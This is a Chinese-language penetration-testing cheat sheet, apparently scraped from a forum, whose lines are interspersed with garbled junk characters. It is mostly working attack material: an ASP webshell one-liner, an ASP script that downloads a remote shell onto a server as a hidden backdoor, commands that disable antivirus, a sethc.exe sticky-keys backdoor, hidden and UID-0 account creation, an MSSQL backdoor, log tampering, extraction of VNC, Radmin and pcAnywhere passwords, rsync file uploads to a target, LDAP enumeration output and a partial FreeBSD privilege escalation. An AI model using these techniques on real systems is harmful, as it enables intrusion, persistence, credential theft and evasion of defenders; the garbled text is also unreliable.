渗透技巧总结

admin

旁站路径问题
$ w8 p+ G0 \  \: G) G1 C, y1、读网站配置。
; {  Y. o7 W  [) z$ b9 T2、用以下VBS
/ e: |% L' ?0 _! N1 aOn Error Resume Next
5 F  t9 E& o" W, K0 g# xIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
: V6 O: z8 Y! q        
2 X+ a0 K$ e# k2 B( L, V; {# g
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
3 p$ L8 t6 X% I
Usage:Cscript vWeb.vbs",4096,"Lilo"
) J3 F9 h. O! a) D  f! T        WScript.Quit
+ a# _& t- f9 F/ k) A( kEnd If
5 f- L1 x1 N$ J5 |& eSet ObjService=GetObject
2 L* `' s8 t, L' J; P/ d- O4 `
+ I6 H* b1 f6 t# n" U6 x6 \( k("IIS://LocalHost/W3SVC")
: Q' y4 g5 ?! w# m  _/ }For Each obj3w In objservice
$ K- S$ h/ R1 U, o. z        If IsNumeric(obj3w.Name)
5 V2 p7 i) G( k' y+ `
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
4 F4 O  I# p/ o+ V1 ?. |
" |2 [7 t! @: N7 Z: \8 A; i       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
% {  ?# ^8 d0 m* T: F5 S8 i                If Err

1 z$ g, z/ i' {<> 0 Then WScript.Quit (1)
, t) B$ R1 L3 M" ^# M                WScript.Echo Chr(10) & "[" &
+ O3 d- C+ \" K9 j) J- q3 S
3 V+ Q& k& J+ q! KOService.ServerComment & "]"
% P4 R- k, J: f) [$ e, Z) o! O1 W8 T0 L                For Each Binds In OService.ServerBindings
     

) T) h9 U6 M- m- v                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
; D( T2 X4 D' R6 t" F4 M                        

) X  t# P  D$ k. ?* eWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
) \# j5 Q2 K  m0 F2 K8 h3 R# |      

         WScript.Echo "ath            : " & VDirObj.Path
- m; f9 p5 p- E$ C        End If
! G2 r; I* t$ x! F) V/ B, \Next
6 b# k2 }3 g5 H% y/ Z复制代码
: C* b4 ?1 g+ U1 C  C3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
. I7 h* Z; u7 ?! T6 o' c  d# V& t$ x/ @4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
: E, M9 y, x. o% x6 j—————————————————————
WordPress的平台，爆绝对路径的方法是：
. `% `& l" D* x8 Gurl/wp-content/plugins/akismet/akismet.php
$ p+ c- c, ]2 J/ Ourl/wp-content/plugins/akismet/hello.php
——————————————————————
1 w& o& C2 C" O/ x' kphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
7 Q& U  t+ |- n# \; ]% iphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
5 k7 J; q' D% x/ W6 n* r5 L网站可能目录(注：一般是虚拟主机类）
$ C* |" d3 P. X% `8 y6 j9 Idata/htdocs.网站/网站/
' _; P/ [2 G4 g6 S0 l; i————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
8 Z. v+ J8 }# ]) r  S% Lnetsh ras set user administrator deny #禁止administrator拨入该VPN
: w& h1 s* \1 K6 t' Y; x0 }netsh ras show user #查看哪些用户可以拨入VPN
# ^% i  K+ t1 |" f6 c- Hnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
7 B( {( C: ]3 ^% q+ Y  D) w3 Unetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
5 a) u* ]& |0 [) y命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
7 U0 W7 h( f' c& ^% A2 {exec master.dbo.sp_addlogin test,123
  [5 c8 ], g- w( Z2 _EXEC sp_addsrvrolemember 'test, 'sysadmin'
. |8 ?2 u* [( G! D然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
8 d6 h) \5 j$ \+ o& L0 }7 s1 Z- |
另类的加用户方法
1 y9 S- D4 U- r  x  e( D9 f1 L在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
! T6 y" H6 i$ Jjs:
var o=new ActiveXObject( "Shell.Users" );
; _( o/ O. n- U. xz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
* E* q4 H, J. j4 x# g' ]* K" P+ v
" e: W! N5 `" t& cvbs:
% u' [. n+ m: gSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
1 F" {- }8 c2 P' Yz.changePassword "123456",""
% S0 A3 q, @( g7 ~z.setting("AccountType")=3
——————————————————
/ ]! [5 t5 C, }2 bcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
% ]+ C( Q; w) C3 w+ Y
; y5 s% l# q& k/ G& [- {. |* J/ v命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
' w: r  B; N  I5 s& i: Icacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
0 \; a/ t  u" [# {3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
2 G8 Z, _/ Q. ~0 C$ x% eb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
8 O1 t0 C/ v$ l2003 运行mstsc /console   
9 v) ~2 F9 d1 A5 V
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
' N; b  |2 W% @0 T( bnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
! N, N$ Y3 s* f+ U
卖咖啡：net stop "McAfee McShield"
9 _: t; I+ j2 A( b6 q9 [————————————————————
' y, ]3 l: h+ [$ f3 i
9 E; ]. D" z$ d. p# X0 F5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
2 L! M0 [3 X* o2 n7 G$ @0 _copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
/ M, k3 \# |3 I# U* h& n9 u* R4 n, V——————————————————————
MSSQL扩展后门：
( F1 O; P4 H& _USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
0 H1 \7 A6 j/ c8 t& I3 n日志处理
) }- e$ q/ f, L- w6 IC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
6 T5 L0 F4 I! e* C. z- ]直接删除 ex0111124.log
* }* O4 G8 r( @8 h+ a- C9 ]% X不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
3 @$ F( Y7 n; L" a) d
( d; r# }$ A. u& _. W3 B+ K) VMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
% s  b6 h3 }! y% Z% b; KHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

$ w' Q" n8 F# b( lServer\90\Tools\Shell\mru.dat
—————————————————————————
  u( ]1 C; o& B7 ^6 D  b6 {防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
% y7 @* x0 D; t$ J' |) vDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
* S8 ?6 c* _2 V* e" {.Send
$ [* ?( u: l; t# I) PGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
- s, s& ]  y- XSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
7 c1 f+ c% Q0 w.Open
.Write GetRemoteData
/ S1 C$ t: i5 n" h.SaveToFile Server.MapPath(s_LocalFileName), 2
# O" h' C" \5 ]5 h.Cancel()
.Close()
End With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
7 p& O8 N0 m+ c5 O/ @( R
2 p' A0 r6 `2 ~( w) `" DVNC提权方法:
$ \. d4 C9 R2 _& J2 ^3 q利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
0 t+ p' p: S1 W! m4 _' [注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
: R/ P2 e, }& N! iregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
# p6 P" |. a  x+ x, T; r% jRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
/ N) ^7 Q% L# [# L& w) IHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
- |: [7 ?: D, y" h然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
  k" h* o/ H8 \) j( r! |Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
! G# D3 X/ K" yWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

0 Q4 e0 \6 q  |' x1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
( q' B# X. y( D7 v! i1 b* h/ x' ^  TstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
; |8 @( V6 F5 i" b# AstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
( Y3 L. S0 r. n0 U. ~# B! x
( K1 J; W; Z( k) G& J4 t. H, H+ C";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
+ S' D, U2 H1 b9 C7 [) {5 Y5 c9 Q
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
# R2 r) z& A, R* r1 S) l4 W2 C# _id = request("id")
. G7 [' T0 S8 r% |) i. r0 ystrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
4 P3 y4 Q$ e: l1 ?6 ?& S. @! Lrs.close
8 q; \. B0 O( n* b6 C+ ]%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
+ J* j& C$ s  M7 a9 C1 @
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
7 ~. r% p: H. `- ?, T9 ?找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
+ V$ N: \; Y: t% Y0 ?
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
( H: y, ]4 j% M) e# @ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. S5 P6 B% o* v- y8 |, D. ~
: p- z* m1 A1 G' T6 s) W
  E+ I* W) I! F- }) w6 _; V1 x4.查找10条用户记录
( ?5 G9 s7 v4 _+ e! }ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
6 q- O3 g2 w' N' r' x
实战:
& I2 s6 H; G6 L% i+ U+ R1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

9 {8 {2 k" C' h# @- Z0 f9 P2.less /etc/ldap.conf
- M" G: N* \8 [* a7 gbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
6 ~/ z: `* j, O( ?4 Cldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
) G+ w. F5 U! l" a& {
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
4 k, T' X: Q, A/ ildapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

8 h) M; G8 ]  `$ n"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

  \8 r4 U4 [, _5 f+ z% u
* _7 x3 F5 d. Y. U  U, v' y& O4.查找10条用户记录
4 H3 f7 z3 e/ A% v7 uldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

7 i& h* S; Q; a7 M渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
" G  E3 a: X! D5 j% B! qdn: dc=ruc,dc=edu,dc=cn
/ @! h. |9 @5 }) {$ Xdc: ruc
objectClass: domain
2 p  e! n. i6 M
dn: uid=manager,dc=ruc,dc=edu,dc=cn
, c) U/ R- }- D/ buid: manager
+ {# D, f8 Z0 [2 T6 yobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
+ C. }% x: N* C/ Q' d" Xsn: manager
) ^* J$ Z4 {0 {  L9 u9 |6 ocn: manager
. ^: u- h; o# L. c; P" @
3 N* b( I5 g5 q+ ?- h3 Bdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
7 x$ D" O4 l  y6 z( Iuid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
$ b  ^  d$ U3 b" {, R- BobjectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
& e( N3 M3 _5 I; y# k- Luid: admin
3 ^( X! o2 D9 g: |7 zobjectClass: inetOrgPerson
( {# U! g8 j! w5 g: vobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin
; Z" n% k& X& U+ z1 o
6 a7 s) S0 Z' t! wdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
0 A! D' x' Z6 x, {7 ], J! tuid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
- t) ~0 M/ Z6 X8 q6 B: pcn: dcp_anonymous

; I; \; E9 w0 ]- F  I2.查看基类
* W9 m3 l: |: n6 sbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
) K! Z# u! |  j3 j/ ^+ i2 x% Z1 l
5 ~  O8 u% V, j- ], Q) Nmore
, E" N4 L7 }& l' p* ]version: 1
' h/ g" c! [( Gdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
, i- ~. h7 o! ]; l4 tdn:
' b+ \2 T) t* _8 M! n( GobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
) l- h; O  x  e) H+ n3 CsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
8 v9 G3 j7 @3 [7 Q+ \supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
) |7 P. e& d5 K1 L) D; x/ hsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
; l6 v$ @3 ~0 k+ j1 r2 Q9 ^8 n5 b8 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
" a4 Q% ~- p0 ~# AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
8 g# v+ Q( d0 d0 F9 W1 l) ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
( R- a3 E% Q7 y$ z* s* HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
! c* }# O7 Q( r' X) R! B5 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
0 |1 |& o0 o( Z. V/ a$ r4 z, f$ ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
8 ?  u5 r$ G9 s4 ?8 zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
5 Z+ F3 Z+ ^. L4 s* b1 _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
* I4 T8 C1 `8 _! esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
( z! g8 N/ F; ]: {4 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
& W# @4 r% C% {7 j& u" ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
9 J; c$ A( i* `5 n/ x  \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
# E; }0 H6 j, |9 e/ O9 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
, K; T# Q4 |. r( A/ l& m* A/ G; MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
5 P# C% L$ O+ D7 e5 QsupportedExtension: 1.3.6.1.4.1.1466.20037
1 Z8 l9 q& A: U# _9 W+ y5 Q" f3 KsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
* @. O" H% R- l( R8 H6 O4 VsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
% F4 F. @/ Y& f4 ~1 \  Y9 {supportedControl: 2.16.840.1.113730.3.4.4
- ?3 y/ h  M+ s! t' _. N! KsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
& U8 ]. N/ r1 x) C2 b! |" r# b9 f& MsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
) A- s8 p5 E2 c+ usupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
* C# w5 V2 c: v7 V- C7 WsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
" v' D) o; j' S7 V  d: v* ]supportedControl: 2.16.840.1.113730.3.4.12
2 ^5 t; {. R4 Z3 I' {" O6 d! rsupportedControl: 2.16.840.1.113730.3.4.18
& G, ?0 f- W% r& d4 r5 }/ v- D: NsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
0 W0 l, Y. e# Q3 L1 b" WsupportedSASLMechanisms: DIGEST-MD5
" R' ~/ D+ B& m6 O5 C2 rsupportedLDAPVersion: 2
supportedLDAPVersion: 3
( j2 o6 E' W8 \7 \) X1 o+ OvendorName: Sun Microsystems, Inc.
, ?2 V2 F$ `, ^% C% N# zvendorVersion: Sun-Java(tm)-System-Directory/6.2
! M0 t0 d! c/ R, u0 d9 bdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
! a: ?7 \* f) AsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
$ H6 j8 K! P" S9 w- C: rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
  U( m+ [/ O! d( ]; h. XsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
8 h/ v1 N: N' g" J) O8 L- FsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
- ]' n( X2 p+ H1 ~supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
/ A, P1 h' f& ], f+ {" ssupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
, c: X( ?8 t5 R) n7 N, k- AsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
( T0 N$ z) w0 g# X% JsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
1 a4 B$ N# v* i6 }) C  }5 f: T6 F) xsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
7 `0 [' P& k4 M4 q% f2 AsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
$ {. O: q: n8 w0 x7 IsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
4 P/ f. I  o1 G& l! c- rsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
7 ?. O$ K+ A2 T1 A* DsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
& {' g9 ^% O" FsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
! C; V( R% Y; x# N* ZsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
# a0 m' K3 a5 ?' @supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
! j1 [$ J1 V. [. _6 O5 r* _supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
* z- q1 y+ m; x5 q: c, _3 `supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
( \- f  z( @" h2. NFS渗透技巧
- [% C' m* k" N: _showmount -e ip
4 Q. C" L6 B0 A+ w列举IP
7 p) ~' ^9 w9 G% V5 |! h——————
3.rsync渗透技巧
% q, H% L, @, b/ Y- }5 x1.查看rsync服务器上的列表
* Q% \( ]4 m+ G9 crsync 210.51.X.X::
9 e* d5 h2 H) }7 b0 wfinance
5 }+ w1 q" |/ \  z* iimg_finance
auto
img_auto
5 [) D! `& G' i( w* Thtml_cms
7 Q3 Y& Y- v- E: L; k1 o, _img_cms
4 Y" U/ |) y. y( M9 E0 T8 t1 fent_cms
- J7 ~5 g+ T( c: G8 l7 Rent_img
: c3 E. N' W/ l* `# @ceshi
+ o9 T' j7 I2 @7 }' P" b# ?res_img
res_img_c2
chip
1 G) Y' z( r7 a' N) Mchip_c2
ent_icms
, Z" {" L/ y4 p8 i' p) U8 q6 `! \  Egames
" V: V/ j( W: L% u0 _+ f! g' Y, qgamesimg
* j" J% z8 R# d, t& E  H( Emedia
mediaimg
fashion
0 u( z+ p9 y5 rres-fashion
res-fo
% N5 n, T5 S' A( Itaobao-home
8 `) S* Q' b4 \! ^' }1 Rres-taobao-home
house
7 }! K' K  q0 E2 P$ F# E: ~2 [res-house
res-home
2 w7 f' C, h6 [: y$ i) P: r, tres-edu
res-ent
res-labs
0 }8 F3 n) x5 J' y& w  w4 {res-news
2 v0 c% b# A5 X! s3 A: m, Kres-phtv
3 j( L9 a6 O4 b9 I5 [1 Ures-media
. D$ B! ]' t+ B* n$ `7 A2 R) Chome
9 v* p; g5 Q1 fedu
news
% ?6 n2 R" e; [$ J1 N( s/ t8 vres-book
4 {+ k+ a+ T2 j/ B, v( G. B2 K& c
* v8 |! J! c5 O7 C看相应的下级目录(注意一定要在目录后面添加上/)

; A5 l* X5 Z8 l$ \) X  p
rsync 210.51.X.X::htdocs_app/
+ @( _" \3 p5 x  s" k* ]rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
* a5 |9 W  O& \
/ R  u! [6 h8 }2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
2 y8 W! S% ~3 L0 i! \
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
/ n/ v+ w& p/ k; K3 W* onc -vv baidu.com 80
8 d4 _# \5 ^  o" a; o/ c; y! \# IGET HTTP://www.sina.com / HTTP/1.0
9 ?% i) c' B% f& {7 jGET HTTP://WWW.sina.com:22 / HTTP/1.0
8 @& t, r9 X" ?五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
. s; v- A* o6 E: W确定版本
6 C( O9 [1 r; |index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

! F& U9 l% \& ?: u9 x- H, M6 G重新设置密码
1 S2 h3 A5 @- K8 M: t  |index.php?option=com_user&view=reset&layout=confirm
5 y- n2 S" |/ s, q3 y
七: Linux添加UID为0的root用户
% z! [# J( d! }7 w- \! f7 c( w2 @useradd -o -u 0 nothack
7 E1 j5 Q) M: C3 R" s, r5 ~0 P
4 j. P  K2 W0 S3 X八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
9 b3 W. p( m$ }* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
& _3 C: b6 S6 q- B/ M* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
, ]: m- C; Y. @4 R0 d" d4 R7 n* {* [argp@julius ~]$ ./nfs_mount_ex
: E1 d4 y' k( |+ A, `8 J* A*
calling nmount()
: k; q, C& B* r+ [, ?+ G# n
